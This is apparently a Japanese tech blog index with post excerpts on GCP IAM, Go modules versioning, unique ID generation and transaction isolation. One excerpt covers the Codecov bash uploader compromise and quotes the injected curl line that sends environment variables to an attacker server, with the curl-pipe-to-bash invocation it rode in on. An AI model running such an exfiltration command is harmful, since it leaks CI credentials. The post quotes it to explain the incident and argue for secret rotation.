概要
の実践編です。
特定のGCSバケットにのみアクセスできるサービスアカウントを作ってみます。
続きを読むIAMはアクセス制御をする上で非常に重要な仕組みですが、一方で複雑になりがちです。
間違った理解のままだと必要以上の権限を与えてしまい、事故の原因となるので押さえておくべき点をいくつかまとめてみます。
GCPのIAMにはリソース階層があり、それぞれの階層を意識した上でIAMポリシーを設定する必要があります。
ref: リソース階層を使用したアクセス制御 | IAM のドキュメント | Google Cloud
続きを読む依存するモジュールのメジャーバージョンがv2以上の場合に、以下のようにバージョン指定すると
$ go get github.com/xxx/yyy@v2.0.1
次のように怒られます。
require github.com/xxx/yyy: version "v2.0.1" invalid: should be v0 or v1, not v2
今回はこの対応方法について説明します。
go modulesは複数の依存モジュールA
, B
が同じ依存モジュールC
に依存している場合、A
とB
のgo.modでより新しいバージョンのC
を使おうとします。
続きを読む
コードカバレッジサービスのCodecovでは、カバレッジファイルをアップロードする際に以下のようにbash scriptを実行します。
bash <(curl -s https://codecov.io/bash)
しかし先日、このbash scriptが何者かに勝手に改竄されている問題が発生しました。
改竄されたスクリプトでは
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://ATTACKER_SERVER/upload/v2 || true
という処理が埋め込まれており、CI処理などで環境変数に設定していた情報が全てアタッカーのサーバへ送信されてしまうことになります。
一次対応として送信された機密情報のローテーションは必須ですが、二次対応として今後同じ問題が起きないよう再発防止策の導入も必要となります。
続きを読むユニークなID生成をしたい場面は多々ありますが、ユニークIDにはユースケースによって以下のような要件が出てきます。
それぞれの観点について説明し、最後にGoでオススメの選択肢を提示します。
ユニークIDというのでそのまんまではありますが、一番満たさなければいけない要件です。
特に現代におけるサービスでは高トラフィックをさばくためにスケール性を重視し、分散システムであっても衝突しないIDを求められます。
例えばMySQLのようなDBのauto_incrementを使う場合、そのDBがスケールしにくい&SPoFといった課題があります。
続きを読むトランザクションの分離レベルで出てくる用語がぱっと頭に浮かぶよう、問題が発生するケースと対応方法をまとめます。
基本的にどのDBも単一オブジェクトの原子性と分離性は保証します。
つまりデータ送信の途中でネットワーク接続が切れたら断片のみ保存するのではなく、全て破棄します。
また同時に更新処理があったとしてもデータを混ぜて保存するといったことはありません。
({id: 1, name: alice}
,{id: 1, name: bob}
があったとして{id: 1, name: aliob}
にはならない)
分離性で問題になるケースは主に複数のオブジェクトを並行で同時に操作する際に起きます。
あるクライアントが他のクライアントのコミット前の書き込みを読み込むことです。
この例ではBobは新規メールがあるにも関わらず、未読件数は0のままです。
続きを読む